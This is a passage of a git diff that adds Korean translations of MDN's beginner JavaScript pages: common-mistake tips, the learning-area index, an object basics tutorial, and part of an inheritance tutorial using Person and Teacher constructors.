getElementsByTagName()getElementbyTagName()
getElementsByName()getElementByName()
getElementsByClassName()getElementByClassName()
getElementById()getElementsById()
+ +

세미콜론의 위치

+ +

세미콜론의 위치가 잘못 되지 않았는지 확인하세요. 예를들어:

+ + + + + + + + + + + + +
올바른잘못된
elem.style.color = 'red';elem.style.color = 'red;'
+ +

함수

+ +

함수와 관련하여 실수할 수 있는 것들이 많이 있습니다.

+ +

가장 흔한 실수는 함수를 선언하고 어디서도 호출하지 않는 것입니다. 예를 들어:

+ +
function myFunction() {
+  alert('This is my function.');
+};
+ +

위 코드는 호출하지 않는 이상 아무것도 하지 않습니다.

+ +
myFunction();
+ +

함수 스코프

+ +

함수는 각자의 스코프가 있음을 명심하세요 — 변수를 전역으로 선언하거나 함수에서 값을 리턴하지 않는한 함수 밖에서 함수 내부에 설정된 변수 값에 접근 할 수 없습니다. (즉, 어떠한 함수 내에서도 접근 안됨)

+ +

리턴 문 이후 코드 실행

+ +

함수 밖으로 값을 리턴할 때, 자바스크립트 인터프리터가 함수를 완전히 빠져나감을 명심하세요.  — 리턴 문 이후에 선언된 코드는 절대로 실행되지 않습니다.

+ +

사실, 몇몇 브라우저들은 (파이어폭스 처럼) 리턴 문 이후에 코드가 있다면 개발자 콘솔에 에러 메세지를 줍니다. 파이어폭스는 "unreachable code after return statement" 라고 알려줍니다.

+ +

오브젝트 표기 vs 일반적 할당

+ +

보통 자바스크립테어서 무언가를 할당하려고 할때, 단일 등호기호를 사용합니다. 예:

+ +
const myNumber = 0;
+ +

하지만, 이 방법은 오브젝트에선 동작하지 않습니다. — 오브젝트에선 멤버와 값 사이를 콜론으로 구분하고, 각 멤버들은 콤마로 구분합니다, 예를 들어:

+ +
const myObject = {
+  name: 'Chris',
+  age: 38
+}
+ +

기본 정의

+ +
+ + + +
+ +

Basic use cases

+ +
+ + +
+

Arrays

+ + + +

Debugging JavaScript

+ + + +

For more information on JavaScript debugging, see Handling common JavaScript problems; also see Other common errors for a description of common errors.

+ +

Making decisions in code

+ + + +

Looping/iteration

+ + +
+
+ +

Intermediate use cases

+ +
+ + + +
diff --git a/files/ko/learn/javascript/index.html b/files/ko/learn/javascript/index.html new file mode 100644 index 0000000000..b45501e751 --- /dev/null +++ b/files/ko/learn/javascript/index.html @@ -0,0 +1,70 @@ +--- +title: JavaScript - 동적인 클라이언트측 스크립트 언어 +slug: Learn/JavaScript +tags: + - Beginner + - JavaScript + - 입문 + - 입문자 + - 자바스크립트 + - 자바스크립트 입문자 +translation_of: Learn/JavaScript +--- +
{{LearnSidebar}}
+ +

{{Glossary("JavaScript")}} 는 웹 페이지의 복잡한 것들을 구현할 수 있는 프로그래밍 언어입니다. 웹페이지는 단순히 변하지 않고 정적인 정보들만 보여주는 것 이상의 일을 합니다. 시간의 흐름에 따라 업데이트 되는 콘텐츠, 동적인 지도와 움직이는 2D/3D 그래픽, 또는 스크롤 가능한 비디오 쥬크박스들과 여러 가지들을 보여줍니다. 여러분은 '아마도 JavaScript 그 일들을 하고 있겠구나'라고 생각하실 수 있습니다.

+ +

학습 과정

+ +

JavaScript 는 HTML 이나 CSS 와 같은 관련 기술들보다 배우기가 더 어렵습니다. JavaScript 에 입문하기 전에, 적어도 아래의 두가지 기술을 먼저 배우고, 아마도 다른 것들도 배우는 것이 좋습니다. 다음 과정들을 통해 시작하세요.

+ + + +

다른 프로그래밍 언어를 배웠던 경험이 있다면 도움이 될 수도 있습니다.

+ +

JavaScript 의 기본적인 것들이 익숙해진 이후에, 여러분은 더 고급 주제들을 배울 준비가 되어 있어야 합니다. 예를 들면 다음과 같습니다.

+ + + +

과정

+ +

이 주제에는 다음 과정들이 제안된 순서대로 포함되어 있습니다.

+ +
+
자바스크립트 첫걸음
+
JavaScript 과정에서, JavaScript를 이용해 첫번째 경험을 쌓기 이전에 "JavaScript 는 무엇인가요?", "어떻게 생겼나요?", 그리고 "그것으로 무엇을 할 수 있죠?" 와 같은 질문에 대답 할 수 있어야 합니다. 그 이후에, 변수, 문자열, 숫자 그리고 배열과 같은 JavaScript 의 기능에 대해 살펴봅시다.
+
JavaScript 구성 요소
+
이 과정에서는, 조건문, 반복문, 함수, 그리고 이벤트와 같이 일반적으로 쓰이며 괄호로 감싸여진 형태인 JavaScript 의 핵심적인 기본 기능들을 살펴볼 것입니다. 여러분은 이미 이것들에 대해 이미 보셨겟지만, 그저 지나쳤을 것이니, 우리는 이것에 대해 자세히 살펴볼 것입니다.
+
JavaScript 객체 소개
+
JavaScript 에서는 문자열과 배열같은 핵심적인 JavaScript 기능부터 JavaScript 보다 위에 작성된 브라우저의 API 까지 거의 대부분이 객체입니다. 심지어 관련 함수와 변수들을 효율적인 패키지로 캡슐화하기 위해 객체를 만들 수도 있습니다. 여러분이 언어에 대한 이해도를 높이고 효율적으로 코드를 작성하기 위해서라면 JavaScript 의 객체 지향적인 특성을 이해하는 것이 중요합니다. 따라서 우리는 이 과정을 통해 여러분을 도와드릴 것입니다. 여기에서는 객체 이론과 문법에 대해 설명하고 어떻게 객체를 만들고, JSON 데이터가 무엇이고 어떻게 작동하는지에 대해 설명합니다.
+
비동기적 JavaScript 
+
+

이 부분에서 우리는 Javascript의 비동기적 실행이 왜 중요한지, 서버에서 리소스를 가져올때와 같은 시간지연을 유발하는 동작들을 어떻게 효과적으로 다룰지등에 대해 살펴봅니다.

+
+
Client-side web APIs
+
클라이언트측의 웹사이트나 응용프로그램을 위해 JavaScript 를 작성하는 경우, 여러분은 브라우저와 운영체제 또는 다른 웹사이트의 데이터를 위한 API를 사용하기 전에 이상한 길에 빠지지 않을 겁니다. 이번 과정에서는 API 가 무엇인지, 그리고 개발 도중 자주 접하게 될 가장 보편적인 API들을 사용하는 방법에 대해 알아 볼 것입니다.
+
+ +

일반적인 JavaScript 문제 해결

+ +

JavaScript 를 이용한 보편적인 문제 해결 은 웹페이지를 만들 때 발생하는 일반적인 문제들을 JavaScript 로 해결하는 방법에 대한 링크들을 제공합니다.

+ +

관련 항목

+ +
+
JavaScript on MDN
+
JavaScript 의 핵심적인 문서입니다. 여기서 JavaScript 언어의 모든 측면에 대해 넓은 참조 문서들과 JavaScript 경험자들을 위한 심화 튜토리얼들을 찾을 수 있습니다.
+
JavaScript 배우기
+
Web 개발자 지망생을 위한 훌륭한 자료  — 짧은 강좌와 대화형 테스트, 자동화된 평가로 지도하는 인터랙티브 환경에서 JavaScript를 배웁니다. 처음 40개 강좌 는 무료이며, 한번의 작은 금액 지불로 전체코스를 수강할 수 있습니다.
+
EXLskills의 JavaScript 기초
+
EXLskills의 오픈소스 코스로 JavaScript를 무료로 배우세요 JS로 어플리케이션 제작을 시작하는데 필요한 모든것을 배울수 있습니다.
+
Coding math
+
프로그래머가 되기 위해 이해해야 하는 수학을 가르치는 훌륭한 비디오 튜토리얼 시리즈 by Keith Peters.
+
diff --git a/files/ko/learn/javascript/objects/basics/index.html b/files/ko/learn/javascript/objects/basics/index.html new file mode 100644 index 0000000000..4220f9bafc --- /dev/null +++ b/files/ko/learn/javascript/objects/basics/index.html @@ -0,0 +1,268 @@ +--- +title: JavaScript 객체 기본 +slug: Learn/JavaScript/Objects/Basics +tags: + - API + - this + - 객체 + - 객체 리터럴 + - 괄호 표기법 + - 구문 + - 배우기 + - 이론 + - 인스턴스 + - 입문자 + - 자바스크립트 + - 점 표기법 + - 코딩스크립트 +translation_of: Learn/JavaScript/Objects/Basics +--- +
{{LearnSidebar}}
+ +
{{NextMenu("Learn/JavaScript/Objects/Object-oriented_JS", "Learn/JavaScript/Objects")}}
+ +

이 글에서는 JavaScript 객체와 관련된 기본적인 문법을 살펴보고 이전 코스에서 학습해서 이미 알고 있는 JavaScript 의 특징들과 우리가 이미 사용하고 있는 기능들이 이미 객체와 관련되어 있다는 사실을 다시 한번 복습할 것입니다.

+ + + + + + + + + + + + +
사전 지식:컴퓨터와 관련된 기본지식, HTML 과 CSS, 그리고 JavaScript 에 대한 기본 지식 (JavaScript 첫걸음 및 JavaScript 구성요소 참조).
목표:객체지향 프로그래밍에 대한 기본 이론을 이해하고, JavaScript 에서 객체가 어떻게 처리되는지("대부분이 객체임") 학습 후, JavaScript 객체를 실제로 이용하는 방법에 대해 알게되는 것을 목표로 합니다.
+ +

객체 기본

+ +

객체는 관련된 데이터와 함수(일반적으로 여러 데이터와 함수로 이루어지는데, 객체 안에 있을 때는 보통 프로퍼티와 메소드라고 부릅니다)의 집합입니다. 예제를 통해서 실제 객체가 무엇인지 알아보도록 합시다.

+ +

시작하기에 앞서, oojs.html 파일의 복사본을 로컬 환경에 만듭니다. 이 파일은 우리가 작성한 소스코드를 포함하는 작은 {{HTMLElement("script")}} 요소를 포함하고 있습니다. 우리는 기본 객체 문법을 탐구하기 위한 기반으로 이 파일을 사용할 것입니다. 예제를 제대로 따라하려면  반드시 개발자 도구 JavaScript 콘솔을 열어두고, 몇몇 명령어를 직접 입력할 준비가 되어있어야 합니다.

+ +

여타 JavaScript 의 요소들과 마찬가지로, 객체를 생성하는 것은 변수를 정의하고 초기화하는 것으로 시작합니다. 아래의 JavaScript 코드를 oojs.html 파일의 script tag 사이에 입력하고 저장 한 후, 리로드 해보세요.

+ +
var person = {};
+ +

이제 JS 콘솔에 person 을 입력하면 다음과 같은 결과를 보게됩니다.

+ +
[object Object]
+ +

축하합니다, 여러분은 벌써 첫 번째 객체를 생성하였습니다. 하지만 텅 빈 객체여서 우린 이걸로 뭘 할 수는 없습니다. 자, 이제 이 오브젝트를 다음과 같이 고쳐봅시다.

+ +
var person = {
+  name: ['Bob', 'Smith'],
+  age: 32,
+  gender: 'male',
+  interests: ['music', 'skiing'],
+  bio: function() {
+    alert(this.name[0] + ' ' + this.name[1] + ' is ' + this.age + ' years old. He likes ' + this.interests[0] + ' and ' + this.interests[1] + '.');
+  },
+  greeting: function() {
+    alert('Hi! I\'m ' + this.name[0] + '.');
+  }
+};
+
+ +

저장 후 리로드 한 다음에 아래의 내용을 브라우저 개발자 도구의 JavaScript 콘솔에  입력해보세요.

+ +
person.name
+person.name[0]
+person.age
+person.interests[1]
+person.bio()
+person.greeting()
+ +

자, 이제 당신은 객체에 포함된 데이터와 함수를 갖게 되었으며, 이것들을 간단하고 멋진 문법을 통해 사용할 수 있게되었습니다!

+ +
+

Note: 만약 여기까지 진행하는데 어려움이 있다면, 제가 만들어놓은 파일과 비교해보세요 — oojs-finished.html (그리고 실행되는 예제도 보세요). Live 버전에서는 텅빈 화면만 보이겠지만, 그게 정상입니다 — 다시, 개발자도구를 열고 객체 구조를 들여다보기 위해 위에 언급된 명령어를 입력해보세요.

+
+ +

자, 이제 뭘 해볼까요? 객체는 각기 다른 이름(위의 예에서는 name 과 age)과 값(예제에서, ['Bob', 'Smith'] 과 32)을 갖는 복수개의 멤버로 구성됩니다. 한 쌍의 이름과 값은 ',' 로 구분되야 하고, 이름과 값은 ':' 으로 분리됩니다. 결국 문법은 아래와 같은 패턴이 됩니다.

+ +
var objectName = {
+  member1Name: member1Value,
+  member2Name: member2Value,
+  member3Name: member3Value
+};
+ +

객체를 구성하는 멤버의 값은 어떤 것이라도 될 수 있습니다. 우리가 만든 person 객체는 문자열, 숫자, 배열 두개와 두개의 함수를 가지고 있습니다. 처음 4개의 아이템은 데이터 아이템인데, 이걸 객체의 프로퍼티(속성) 라고 부릅니다. 끝에 두개의 아이템은 함수인데 이 함수를 통해 데이터를 가지고 뭔가 일을 할 수 있게 됩니다. 이걸 우리는 메소드 라고 부릅니다.

+ +

이런 객체는 객체 리터럴(object literal) 이라고 부릅니다. 객체를 생성할 때 컨텐츠를 그대로 대입합니다. 객체 리터럴은 클래스로부터 생성하는 방식과는 다릅니다. 이 방식은 뒤에서 살펴보게 될겁니다.

+ +

객체 리터럴을 사용해서 객체를 생성하는 것은 연속된 구조체나 연관된 데이터를 일정한 방법으로 변환하고자 할 때  많이 쓰이는 방법입니다. 예를 들면 서버에게 주소를 데이터베이스에 넣어달라고 요청하는 경우입니다. 각 아이템들을 하나 하나 개별 전송하는 것보다, 하나의 객체를 전송하는 것이 훨씬 효율적입니다. 또 각 아이템들을 이름으로 구분해서 사용하기 원할 때도 배열을 사용하는 것보다 훨씬 쉽습니다.

+ +

점 표기법

+ +

위에서, 우리는 객체의 프로퍼티와 메소드를 점 표기법을 통해 접근했습니다. 객체 이름(person)은 네임스페이스처럼 동작합니다. 객체내에 캡슐화되어있는것에 접근하려면 먼저 점을 입력해야합니다. 그 다음 점을 찍고 접근하고자 하는 항목을 적습니다. 간단한 프로퍼티의 이름일 수도 있을 것이고, 배열의 일부이거나 객체의 메소드를 호출할 수도 있습니다.

+ +
person.age
+person.interests[1]
+person.bio()
+ +

하위 namespaces

+ +

다른 객체를 객체 멤버의 값으로 갖는 것도 가능합니다. 예를 들면, 다음과 같은 name 멤버를 

+ +
name: ['Bob', 'Smith'],
+ +

아래와 같이 바꿔봅시다.

+ +
name : {
+  first: 'Bob',
+  last: 'Smith'
+},
+ +

자, 이제 우리는 성공적으로 하위 namespace 를 만들었습니다. 복잡해보이지만, 사실 그렇지도 않습니다. 이 속성을 사용하려면 그저 끝에 다른 점을 하나 찍어주기만 하면 됩니다. JS 콘솔에서 아래와 같이 입력해보세요.

+ +
person.name.first
+person.name.last
+ +

중요: 객체의 속성이 바뀌었으니까, 기존 메소드 코드를 바꿔 줘야 합니다. 기존 코드를

+ +
name[0]
+name[1]
+ +

아래와 같이 바꿔줘야 합니다.

+ +
name.first
+name.last
+ +

그렇지 않으면 기존 메소드는 더 이상 동작하지 않을 것입니다.

+ +

괄호 표기법

+ +

객체의 프로퍼티에 접근하는 다른 방법으로 괄호 표기법을 사용하는 것이 있습니다. 다음과 같이 사용하는 대신

+ +
person.age
+person.name.first
+ +

이렇게 사용할 수 있습니다.

+ +
person['age']
+person['name']['first']
+ +

이런 방식은 배열 속에 있는 항목에 접근하는 방법과 매우 유사해 보이는데 실제로도 이는 기본적으로 동일한 것입니다. 한 항목을 선택하기 위해 인덱스 숫자를 이용하는 대신에 각 멤버의 값들과 연결된 이름을 이용합니다. 객체가 간혹 연관배열 (associative arrays)이라고 불리는 것이 당연합니다. 연관배열은 배열이 숫자를 값에 연결하는 것과 같은 방법으로 스트링을 값에 매핑합니다.

+ +

객체 멤버 설정하기

+ +

지금까지는 객체 멤버를 단순히 가져오기만(또는 반환) 했습니다. 설정할 멤버를 간단히 명시하여(점이나 대괄호 표기법을 사용) 객체 멤버의 값을 설정(갱신)하는 것도 물론 가능합니다.

+ +
person.age = 45;
+person['name']['last'] = 'Cratchit';
+ +

위의 코드를 입력한 다음, 객체 멤버값을 아래와 같이 다시 확인해봅시다.

+ +
person.age
+person['name']['last']
+ +

객체 멤버를 설정하는 것은 단순히 기존에 존재하는 프로퍼티나 메소드로 값을 설정하는 것 뿐 아니라, 완전히 새로운 멤버를 생성할 수도 있습니다. JS 콘솔에서 아래 내용을 입력해보세요.

+ +
person['eyes'] = 'hazel';
+person.farewell = function() { alert("Bye everybody!"); }
+ +

자, 이제 새로운 멤버를 테스트해보세요.

+ +
person['eyes']
+person.farewell()
+ +

대괄호 표현의 이점 중 하나는 멤버의 값을 동적으로 변경할 수 있을 뿐아니라, 멤버 이름까지도 동적으로 사용할 수 있다는 것입니다. 자, 만약 사용자가 두개의 텍스트 입력을 통해서 people 데이터에 커스텀 값을 넣고 싶어한다고 가정해봅시다. 그 값은 다음과 같이 얻어올 수 있을겁니다.

+ +
var myDataName = nameInput.value;
+var myDataValue = nameValue.value;
+ +

이제 person 객체에 다음과 같이 새 멤버의 이름과 값을 추가할 수 있습니다.

+ +
person[myDataName] = myDataValue;
+ +

자, 제대로 동작하는지 보려면 아래와 같이 person 객체에 대괄호를 붙여서 확인해보면 됩니다.

+ +
var myDataName = 'height';
+var myDataValue = '1.75m';
+person[myDataName] = myDataValue;
+ +

이제 저장하고 리로드후 아래코드를 입력해보세요.

+ +
person.height
+ +

점 표기법으로는 위의 예제처럼 멤버의 이름을 동적으로 사용할 수 없고, 상수 값만을 사용해야 합니다.

+ +

"this" 는 무엇인가?

+ +

자, 우리가 이제 보게될 메소드가 좀 이상하게 보일 수도 있을겁니다. 예제를 한번 봐주세요

+ +
greeting: function() {
+  alert('Hi! I\'m ' + this.name.first + '.');
+}
+ +

아마도 "this" 가 뭔지 의아하실 것입니다. this 키워드는 지금 동작하고 있는 코드를 가지고 있는 객체를 가리킵니다. 위의 예제에서 this 는 person 객체와 동일합니다. 그럼 왜 직접 person 객체를 쓰지 않은걸까요? 앞으로 보게될 입문자를 위한 객체 지향 JavaScript 문서에서 우리가 생성자를 공부하게 될 때, 혹은 그것 말고도 기타 등등의 상황에서 this 는 매우 유용하게 사용됩니다. 이 this 라는 녀석은 객체 멤버의 컨텍스트가 바뀌는 경우에도 언제나 정확한 값을 사용하게 해줍니다(예를 들어, 두개의 다른 person 객체가 각각 다른 이름으로 인스턴스로 생성된 상태에서 인사말을 출력하기 위해 객체의 name 을 참조해야 한다고 생각해보세요).

+ +

간략화된 person 객체를 가지고 설명을 좀 해보겠습니다.

+ +
var person1 = {
+  name: 'Chris',
+  greeting: function() {
+    alert('Hi! I\'m ' + this.name + '.');
+  }
+}
+
+var person2 = {
+  name: 'Brian',
+  greeting: function() {
+    alert('Hi! I\'m ' + this.name + '.');
+  }
+}
+ +

이 예제에서, 메소드의 실제 코드는 완전히 동일하지만 person1.greeting() 은 "Hi! I'm Chris." 를 출력합니다. 반면 person2.greeting() 은 "Hi! I'm Brian." 을 출력하게 됩니다. 앞서 이야기한 것처럼, this 은 실행중인 코드가 속해있는 객체입니다. 객체 리터럴을 직접 지정해서 사용하는 경우라면 그리 유용하지 않겠지만, 동적으로 객체를 생성하는 경우(예를 들면 생성자를 사용하는 경우)에는 매우 유용합니다. 이 부분은 추후에 더 명확하게 이해가 될 겁니다.

+ +

객체를 줄곧 사용해 왔습니다

+ +

예제코드를 따라하다보니, 이쯤 되면 슬슬 "점" 표기법을 사용하는 것이 꽤 자연스럽게 느껴질 것입니다. 물론 이 코스 내내 사용했기 때문입니다! 샘플에서 사용하였던 브라우저 내장 API 나 JavaScript 객체들은 실제로 우리가 공부했던 구조와 완전히 동일한 방법으로 구현된 것들입니다. 물론 우리가 봤던 예제보다 복잡하기는 합니다.

+ +

자, 다음과 같이 String의 메소드를 사용했다고 가정합시다.

+ +
myString.split(',');
+ +

String 클래스의 인스턴스가 가진 메소드를 사용하고 있습니다. 코드에서 String 을 생성할 때 마다 String 의 인스턴스가 만들어지고, 그렇게 만들어진 인스턴스는 당연히 공통적으로 사용할 수 있는 메소드와 프러퍼티를 가집니다.

+ +

아래와 같이 도큐먼트 오브젝트 모델(DOM)에 접근할때면,

+ +
var myDiv = document.createElement('div');
+var myVideo = document.querySelector('video');
+ +

Document 클래스의 인스턴스를 통해 메소드를 사용하고 있는 것입니다. 각 웹페이지가 로딩될 때, Document 인스턴스가 만들어지고, 전체 웹 페이지 구조와 컨텐츠 그리고 URL같은 기능들을  제공하는 document 가 호출됩니다. 다시 말하지만 이건 여러 공통 메소드와 프로퍼티들이 이 인스턴스를 통해 사용가능하게 됩니다.

+ +

우리가 계속 사용해왔던 다른 내장 객체/API(Array, Math 등등)들도 마찬가지입니다

+ +

모든 내장 객체/API가 자동으로 객체의 인스턴스를 생성하는 것은 아니라는 것에 주의 하세요. 예를 들어, Notifications API — 최근 브라우져들이 시스템 알림을 사용하게 하는 기능 — 는 사용자가 발생시시길 원하는 notification 만을 선택하게 하는 생성자를 사용해야 합니다. JavaScript 콘솔에 다음 내용을 입력해보세요

+ +
var myNotification = new Notification('Hello!');
+ +

다음 문서에서 생성자에 대해서 좀더 자세히 알아볼 것입니다.

+ +
+

Note: 객체간 통신은 message passing 방식을 사용한다고 생각하는게 좋습니다. 한 객체가 다른 객체에게 어떤 액션을 요청해야 하는 경우, 그 객체는 다른 객체가 가지고 있는 메소드를 통해서 메세지를 보내는 것이고, 응답을 기다리는 것입니다. 그 응답은 것이 우리가 알고 있는 return 값입니다.

+
+ +

요약

+ +

축하합니다, 첫 번째 JavaScript 객체 설명 문서를 끝까지 읽으셨습니다. 이제 여러분은 JavaScript 객체를 어떻게 활용하는지 이해하게 되었습니다. 간단한 사용자 정의 객체를 만드는 방법을 포함해서요. 또 객체는 데이터와 연관된 함수를 저장하는데 매우 유용한 구조라는 것도 알게 되었습니다. 만약 person 객체가 가지고 있는 모든 프로퍼티와 메소드를 따로 따로 분리된 변수와 함수로 구현하려고 한다면 그것이야 말로 비효율적이고 끔찍한 일이 될 것입니다. 변수명과 함수명들이 중복된다거나 하는 일도 비일비재 할 것입니다. 객체는 고유의 패키지에 우리의 정보를 안전하게 정보를 보호해주는 역활을 합니다.

+ +

다음 장에서는 객체지향(OOP) 이론을 배우고, JavaScript 에서는 객체지향이 어떻게 사용되었는지 알아볼 것입니다.

+ +

{{NextMenu("Learn/JavaScript/Objects/Object-oriented_JS", "Learn/JavaScript/Objects")}}

+ +

이 모듈 에서는

+ + diff --git a/files/ko/learn/javascript/objects/index.html b/files/ko/learn/javascript/objects/index.html new file mode 100644 index 0000000000..9bdd5d8a66 --- /dev/null +++ b/files/ko/learn/javascript/objects/index.html @@ -0,0 +1,50 @@ +--- +title: JavaScript 객체 소개 +slug: Learn/JavaScript/Objects +tags: + - 객체 + - 배우기 + - 입문자 + - 자바스크립트 + - 지침 + - 코딩스크립트 + - 평가 +translation_of: Learn/JavaScript/Objects +--- +
{{LearnSidebar}}
+ +

 자바스크립트에서는 스트링과 배열과같은 기본적인 기능부터 가장 상단에 놓여진 브라우저 API에 이르기까지 대부분의 것들이 객체입니다. 사용자는 관련된 함수들과 변수들을 효율적인 패키지로 추상화하거나 편리한 데이터 컨테이너로 작동하는 객체를 만들 수 있습니다. 언어에 대한 지식을 가지고 더 멀리 나아고자 한다면 자바스크립트의 객체 기반의 본질을 이해하는 것이 중요하므로, 여러분을 돕기위해 이 모듈을 제공하였습니다. 여기에서는 객체 이론과 구문을 자세히 가르쳐드리며, 사용자 정의 객체를 만드는 방법도 알아볼 것입니다.

+ +

사전 지식

+ +

이 장을 읽기 전에, 여러분은 HTML 과 CSS 를 어느 정도 알고 있어야 합니다. 그렇지 않다면 HTML 소개와 CSS 소개를 먼저 읽고 오시기 바랍니다.

+ +

JavaScript 객체에 대해 자세히 알아보려면, 기본 문법에 대해 어느 정도 능숙해야 합니다. 이 장을 읽기 전에 JavaScript 첫걸음과 JavaScript 구성 요소를 먼저 읽어보시기를 바랍니다.

+ +
+

Note: 컴퓨터/태블릿/혹은 다른 디바이스 상에서 스스로 파일을 만들수 없는 환경이라면,  JSBin 또는 Thimble 과 같은 온라인 코딩 프로그램을 이용하여 (거의 모든) 예제 코드를 테스트해 보실 수 있습니다.

+
+ +

가이드

+ +
+
객체 기본
+
JavaScript 객체 소개의 첫 장에서는, 기본적인 JavaScript 객체 문법을 볼 것이며, 이전 과정에서 이미 봐왔던 몇몇 JavaScript 특징들을 다시 들여다 볼 것입니다. 이를 통해 우리는 이전에 다루었던 많은 특징들이 사실상 객체였다는 사실을 알게 될 것입니다.
+
입문자를 위한 객체지향 자바스크립트
+
가장 기본적인 것으로, 우리는 객체 지향 JavaScript(OOJS) 에 초점을 둘 것입니다. 이 글에서는 객체 지향 프로그래밍(OOP) 이론의 기본 관점을 보여주고, JavaScript 가 생성자함수를 이용하여 객체 클래스를 에뮬레이트 하는 방법과 객체 인스턴스를 생성하는 방법에 대해 탐구합니다.
+
객체 프로토타입
+
프로토타입은 JavaScript 객체가 또다른 객체로 특성을 상속시키기 위한 메커니즘이고, 그것들은 고전적인 객체 지향 프로그래밍 언어들의 상속 메커니즘과 다르게 작동합니다. 이 글에서는 그 다름을 탐구하고, 프로토타입 체인이 동작하는 방식을 설명하며 프로토타입의 속성이 기본 생성자들로 메소드를 추가하기 위해 사용되는 방법을 보여줍니다.
+
자바스크립트에서의 상속
+
이제 OOJS 에 대한 대부분의 세부사항들에 대해서 설명이 되었으므로, 본 장에서는 "부모" 클래스로부터 특성을 상속받은 "자식" 오브젝트 클래스를 생성하는 방법을 보여줍니다. 뿐만 아니라, OOJS 를 언제 또는 어디서 사용하면 좋을 지에 대한 몇몇 조언도 기술되어있습니다.
+
JSON 데이터와 작업
+
JSON(JavaScript Object Notation) 은 JavaScript 객체 문법상의 구조화된 데이터를 표현하기 위한 표준 텍스트기반 포맷입니다. 그래서 주로 웹사이트 상에 데이터를 표현하고 전송하는 데 사용되고 있습니다(예를 들면, 웹페이지 상에 데이터를 디스플레이할 수 있도록 서버에서 클라이언트로의 데이터 전송). 이 글에서는 데이터에 접근하기 위해 JSON 을 파싱하고, 또 자신만의 JSON 을 작성하는 것처럼 자바스크립트를 사용하여 JSON 과 연동할 필요가 있는 모든 것들을 보여드릴 것입니다.
+
객체 생성 실습
+
이전 글들에서 우리는 JavaScript 객체 이론과 문법 세부사항의 중요한 것들을 보았습니다. 본 장에서는 커스텀 JavaScript 객체를 생성하는 다양한 연습을 하면서 실용적인 예들을 깊이 다룹니다.
+
+ +

평가

+ +
+
Bouncing balls demo 에 기능들 추가
+
이 평가에서는 여러분이 이전 글의 bouncing balls demo 를 시작점으로 하여, 몇 가지 새롭고 재미있는 기능들을 추가하길 기대합니다.
+
diff --git a/files/ko/learn/javascript/objects/inheritance/index.html b/files/ko/learn/javascript/objects/inheritance/index.html new file mode 100644 index 0000000000..72a2302d15 --- /dev/null +++ b/files/ko/learn/javascript/objects/inheritance/index.html @@ -0,0 +1,394 @@ +--- +title: Inheritance in JavaScript +slug: Learn/JavaScript/Objects/Inheritance +translation_of: Learn/JavaScript/Objects/Inheritance +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/JavaScript/Objects/Object_prototypes", "Learn/JavaScript/Objects/JSON", "Learn/JavaScript/Objects")}}
+ +

OOJS에 대한 온갖 잡지식을 설명했으니, 이 글에서는 부모 클래스에서 자식 클래스를 상속하는 방법을 알아봅니다. 덤으로 OOJS를 구현하는데 몇 가지 참고사항도 있습니다.

+ + + + + + + + + + + + +
선수조건:컴퓨터 기본지식, HTML과 CSS에 대한 기본적인 이해,자바스크립트에 어느 정도 익숙할 것 (see First steps and Building blocks).  OOJS 기초 지식 (see Introduction to objects).
학습목표:Javascript에서 상속을 구현하는 법을 이해합니다.
+ +

프로토타입 상속

+ +

지금까지 몇 가지 상속을 살펴보았습니다 — 프로토타입 체인이 어떻게 동작하는지, 체인을 통해 멤버들을 탐색하는 것도 보았죠. 하지만 이는 대부분 브라우저가 알아서 처리하는 로직이었습니다. 그러면 우리가 직접 객체를 생성하고 상속하려면 어떻게 해야 할까요?

+ +

실질적인 예제를 통해 알아보도록 합시다.

+ +

시작하기

+ +

먼저 oojs-class-inheritance-start.html를 다운 받으시고 (running live 페이지도 보시구요). 파일 내에서 이전 예제에서 계속 봐 왔던 Person() 생성자를 보실 수 있습니다 — 생성자에 속성 몇 개를 정의했기에 조금 다릅니다:

+ +
function Person(first, last, age, gender, interests) {
+  this.name = {
+    first,
+    last
+  };
+  this.age = age;
+  this.gender = gender;
+  this.interests = interests;
+};
+ +

메소드는 전부 아래처럼 prototype에 정의되어 있습니다:

+ +
Person.prototype.greeting = function() {
+  alert('Hi! I\'m ' + this.name.first + '.');
+};
+ +
+

Note: 소스 코드에는 bio()와 farewell()메소드가 정의되어 있습니다. 잠시 후에 다른 생성자로 어떻게 상속하는지 알아보도록 합시다.

+
+ +

객체 지향에 대해 처음 정의할 때 언급했었던 Teacher 클래스를 만들어 봅시다. Person을 상속받고 아래 몇 가지를 추가해서요:

+ +
    +
  1. subject 속성 — 교사가 가르치는 과목을 나타냅니다.
  2. +
  3. 기존의 greeting() 보다 조금 더 공손한 인사를 하는 메소드  — 교사가 학생들에게 건넬 만한 표현으로 하죠.
  4. +
+ +

Teacher() 생성자 함수 정의

+ +

제일 처음 단계에서는 Teacher() 생성자를 만들어야 합니다 — 기존 코드 밑에 아래 코드를 추가하세요:

+ +
function Teacher(first, last, age, gender, interests, subject) {
+  Person.call(this, first, last, age, gender, interests);
+
+  this.subject = subject;
+}
+ +

Person() 생성자와 여러모로 비슷해 보이지만 여지껏 보지 못했던 한가지 차이점이 있습니다 — call() 함수죠. call() 함수의 첫번째 매개변수는 다른 곳에서 정의된 함수를 현재 컨텍스트에서 실행할 수 있도록 합니다. 실행하고자 하는 함수의 첫 번째 매개변수로 this를 전달하고 나머지는 실제 함수 실행에 필요한 인자들을 전달하면 됩니다.

+ +

Teacher()의 생성자는 Person()을 상속받았으므로 같은 매개변수들이 필요합니다. 따라서 동일한 매개변수들을 call()의 인자로 전달하여 실행합니다.

+ +

마지막 줄에서는 새 속성인 subject를 정의하여 Person이 아닌 Teacher만이 갖는 속성을 만들어 줍니다.

+ +

참고로 아래와 같이 할 수도 있습니다:

+ +
function Teacher(first, last, age, gender, interests, subject) {
+  this.name = {
+    first,
+    last
+  };
+  this.age = age;
+  this.gender = gender;
+  this.interests = interests;
+  this.subject = subject;
+}
+ +

다만 이는 Person()을 상속받은게 아니라 단지 동일한 인자를 정의했을 뿐이죠. 이건 원하는 방법이 아닐 뿐더러 코드의 길이만 더 늘어났습니다.

+ +

매개변수가 없는 생성자 상속하기

+ +

상속하려는 생성자가 속성을 매개변수로 받지 않는다면 call()의 매개변수에도 아무것도 전달할 필요가 없습니다. 아래처럼 간단한 생성자가 있다면:

+ +
function Brick() {
+  this.width = 10;
+  this.height = 20;
+}
+ +

widthheight 속성을 상속받기 위해 아래처럼만 하면 됩니다(물론 이후 설명할 방법을 써도 되구요):

+ +
function BlueGlassBrick() {
+  Brick.call(this);
+
+  this.opacity = 0.5;
+  this.color = 'blue';
+}
+ +

